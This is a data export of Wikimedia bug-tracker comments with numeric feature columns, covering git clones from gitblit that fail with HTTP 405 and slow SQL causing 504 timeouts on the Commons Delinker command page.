remote: Total 10560 (delta 92), reused 9136 (delta 0)
Receiving objects: 100% (10560/10560), 32.83 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (7141/7141), done.
Checking connectivity... done.
$:andre\>"
252795,First clone for a repository from gitblit fails with HTTP 405,"Huh? How could a POST request become a GET request? Some sort of Varnish misconfiguration?

POST /git/mediawiki/extensions/AssertEdit.git/git-upload-pack HTTP/1.1
User-Agent: git/1.8.4
Host: git.wikimedia.org
Accept-Encoding: gzip
Content-Type: application/x-git-upload-pack-request
Accept: application/x-git-upload-pack-result
Content-Length: 324

006fwant 8042c39f1df86789e50f04712c15a1c219dbb178 multi_ack_detailed no-done side-band-64k thin-pack ofs-delta
0032want 045a6acef5ad87bfa6a580c2b09295e5d761105c
0032want 523feba3de364984f5b099a5ea029254c9c4df23
0032want 76271fbc23b797b0c3340733e91432ac9154d44e
0032want 8042c39f1df86789e50f04712c15a1c219dbb178
00000009done
HTTP/1.1 405 HTTP method GET is not supported by this URL
Pragma: no-cache
Content-Type: text/html;charset=ISO-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Server: Jetty(7.6.8.v20121106)
Content-Length: 1490
Accept-Ranges: bytes
Date: Thu, 26 Sep 2013 07:13:13 GMT
X-Varnish: 1193742703
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: cp1044 miss (0)

<html>
<head>
<meta http-equiv=""Content-Type"" content=""text/html; charset=ISO-8859-1""/>
<title>Error 405 HTTP method GET is not supported by this URL</title>
</head>
<body><h2>HTTP ERROR 405</h2>
<p>Problem accessing /git/mediawiki/extensions/AssertEdit.git/git-upload-pack. Reason:
<pre>    HTTP method GET is not supported by this URL</pre></p><hr /><i><small>Powered by Jetty://</small>
[...]",,,1380180548,,PHID-USER-3ampiwske4lc434cm6ot,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,False,,,-92,True,0.25,0.0,0.0,0.75,0.75,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.25,1.75,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.75,1.0,0.0,0.0,0.0,0.0,0.0,0.25,0.75,0.0,0.0,0.0,1.5,0.75,0.0,0.0,0.0,0.0,12.75,0.0,0.75,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.5,0.75,16.5,0.25,0.0,2.25,0.0,0.0,0.0,0.0,0.75,0.25,4.0,0.0,0.0,1.75,17.75,0.75,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.25,0.0,0.0,6.75,4.197530864197531,0.5734567901234568,"Huh? How could a POST request become a GET request? Some sort of Varnish misconfiguration?

POST /git/mediawiki/extensions/AssertEdit.git/git-upload-pack HTTP/1.1
User-Agent: git/1.8.4
Host: git.wikimedia.org
Accept-Encoding: gzip
Content-Type: application/x-git-upload-pack-request
Accept: application/x-git-upload-pack-result
Content-Length: 324

006fwant 8042c39f1df86789e50f04712c15a1c219dbb178 multi_ack_detailed no-done side-band-64k thin-pack ofs-delta
0032want 045a6acef5ad87bfa6a580c2b09295e5d761105c
0032want 523feba3de364984f5b099a5ea029254c9c4df23
0032want 76271fbc23b797b0c3340733e91432ac9154d44e
0032want 8042c39f1df86789e50f04712c15a1c219dbb178
00000009done
HTTP/1.1 405 HTTP method GET is not supported by this URL
Pragma: no-cache
Content-Type: text/html;charset=ISO-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Server: Jetty(7.6.8.v20121106)
Content-Length: 1490
Accept-Ranges: bytes
Date: Thu, 26 Sep 2013 07:13:13 GMT
X-Varnish: 1193742703
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: cp1044 miss (0)

<html>
<head>
<meta http-equiv=""Content-Type"" content=""text/html; charset=ISO-8859-1""/>
<title>Error 405 HTTP method GET is not supported by this URL</title>
</head>
<body><h2>HTTP ERROR 405</h2>
<p>Problem accessing /git/mediawiki/extensions/AssertEdit.git/git-upload-pack. Reason:
<pre>    HTTP method GET is not supported by this URL</pre></p><hr /><i><small>Powered by Jetty://</small>
[...]"
252786,First clone for a repository from gitblit fails with HTTP 405,"Same here.

The Git Repos that start with gerrit.wikimedia.org work fine, just those at git.wikimedia.org are not working.",,,1380179445,,PHID-USER-wtbw6n3qdyre3vir7o3z,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.818181818181818,0.9545454545454546,"Same here.

The Git Repos that start with gerrit.wikimedia.org work fine, just those at git.wikimedia.org are not working."
252781,First clone for a repository from gitblit fails with HTTP 405,Is anyone actually looking into this?,,,1380179388,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,False,,,-92,True,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.571428571428571,1.0,Is anyone actually looking into this?
252776,First clone for a repository from gitblit fails with HTTP 405,"I can reproduce that as well. And yes, it is weird.
It seems however that only cloning from gitblit is affected. Cloning
directly from gerrit works as expected:

 git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/AJAXPoll",,,1379752914,,PHID-USER-pntojlcbclwhuip53bix,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,8.0,13.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8205128205128207,0.8205128205128205,"I can reproduce that as well. And yes, it is weird.
It seems however that only cloning from gitblit is affected. Cloning
directly from gerrit works as expected:

 git clone URL"
56122,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Requesting https://commons.wikimedia.org/wiki/User:CommonsDelinker/commands?action=edit often returns 

HTTP 504: Gateway Timeout. 

This does not happen when requesting the page with a high frequence but if you do it e.g. once an hour. Just look at https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&action=history where I dump the profiling report of this page using https://commons.wikimedia.org/wiki/User:Rillke/profile.js -- about every third request fails.

Other users experience this issue as well:
https://commons.wikimedia.org/w/index.php?title=Commons:Administrators%27_noticeboard&oldid=104206956#Extremely_slow_performance_to_open_edit_interface_of_COM:CDC

If I remember correctly, this is an issue for a long time. Updating the page via API often works without any issues (but is slow). The page is regularly queried and updated by a bot: http://toolserver.org/~delinker/helper.txt

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53577
https://bugzilla.wikimedia.org/show_bug.cgi?id=49734",High,80.0,1379160000,1412966568.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-dh2vakf5sbvxwgt7snat,task_description,resolved,True,c3,1,False,False,True,-94,True,1.0,0.0,0.0,0.5,0.5,4.5,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,6.5,1.5,0.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,14.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,5.5,2.0,14.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,2.0,5.5,2.5,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,3.6571428571428575,0.7285714285714286,"Requesting URL often returns 

HTTP 504: Gateway Timeout. 

This does not happen when requesting the page with a high frequence but if you do it e.g. once an hour. Just look at URL where I dump the profiling report of this page using URL -- about every third request fails.

Other users experience this issue as well:
URL

If I remember correctly, this is an issue for a long time. Updating the page via API often works without any issues (but is slow). The page is regularly queried and updated by a bot: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
235223,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to Andre Klapper from comment #14)
> Is that still an issue experienced?

Sorry for the late reply.. Nope. Worked fine in the last months.

(Maybe a other software change fixed this, closing now as RES - FIX)",,,1412966568,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.391304347826087,0.8695652173913043,"(In reply to Andre Klapper from comment #14)
QUOTE

Sorry for the late reply.. Nope. Worked fine in the last months.

(Maybe a other software change fixed this, closing now as RES - FIX)"
235216,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1412958784,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Is that still an issue experienced?
235210,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1411336307,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Is that still an issue experienced?
235204,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,I see. Thanks for correcting me!,,,1394797315,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,3.375,1.0,I see. Thanks for correcting me!
235197,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"There is nothing the maintainers of the tool can do here, so it shouldn't be a bug of the tool, IMHO.",,,1394717648,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-68,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,8.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.24,0.8,"There is nothing the maintainers of the tool can do here, so it shouldn't be a bug of the tool, IMHO."
235190,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"This error is not in the tool's code though, adding keyword",,,1394717261,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.769230769230769,1.0,"This error is not in the tool's code though, adding keyword"
235182,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #8)
Is there anything I could help with?",,,1381580715,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-90,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,1.0,"(In reply to comment #8)
Is there anything I could help with?"
235175,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"The truncated query in comment #6 comes from the same class as bug 53577 but forces different indexes. So, possibly it's the same type of problem, but need to see a complete example.",,,1379613073,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.8717948717948718,"The truncated query in comment #6 comes from the same class as bug 53577 but forces different indexes. So, possibly it's the same type of problem, but need to see a complete example."
235169,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Sean: Could you answer comment 6, please? Thanks in advance!",,,1379545937,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,1.0,"Sean: Could you answer comment 6, please? Thanks in advance!"
235164,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Can a tech please confirm this is an instance of Bug 53577 ?,,,1379453344,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,15.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Can a tech please confirm this is an instance of Bug 53577 ?
235156,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Also:
* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104293543",,,1379453115,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,"Also:
* URL"
235151,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"And I found something interesting:
* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104442630
* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104401867


The following took ~50s!

query: SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM `logging` FORCE INDEX (page_time,user_time,log_user_type_time) LEFT JOIN `user`",,,1379452866,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7846153846153845,0.6923076923076923,"And I found something interesting:
* URL
* URL


The following took ~50s!

query: SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM CODE FORCE INDEX (page_time,user_time,log_user_type_time) LEFT JOIN CODE"
235145,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"So here is the complete message:
<head><title>504 Gateway Time-out</title></head>
<body bgcolor=""white"">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
----
https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104491400 22:37, 16 September 2013
----
If you need a special response header for debugging, please let me know.",,,1379398992,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,11.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,3.0,3.0,17.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,20.0,4.1,0.6428571428571429,"So here is the complete message:
<head><title>504 Gateway Time-out</title></head>
<body bgcolor=""white"">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
----
URL 22:37, 16 September 2013
----
If you need a special response header for debugging, please let me know."
235137,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #1)
The issue is that there were not a lot of templates on the page at the time the requests failed:
Exmaple:
17:40, 14 September 2013 ( https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104315333 )

https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&oldid=104314668 ( https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&action=edit&oldid=104314668 )
CPU time usage	0.656 seconds
Real time usage	0.767 seconds
Preprocessor visited node count	1285/1000000
Preprocessor generated node count	4672/1500000
Post-expand include size	60326/2048000 bytes
Template argument size	29773/2048000 bytes
Highest expansion depth	12/40
Expensive parser function count	33/500",,,1379361807,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,10.5,0.5,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,8.5,0.0,0.0,3.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,4.125,0.6923076923076923,"(In reply to comment #1)
The issue is that there were not a lot of templates on the page at the time the requests failed:
Exmaple:
17:40, 14 September 2013 ( URL )

URL ( URL )
CPU time usage	0.656 seconds
Real time usage	0.767 seconds
Preprocessor visited node count	1285/1000000
Preprocessor generated node count	4672/1500000
Post-expand include size	60326/2048000 bytes
Template argument size	29773/2048000 bytes
Highest expansion depth	12/40
Expensive parser function count	33/500"
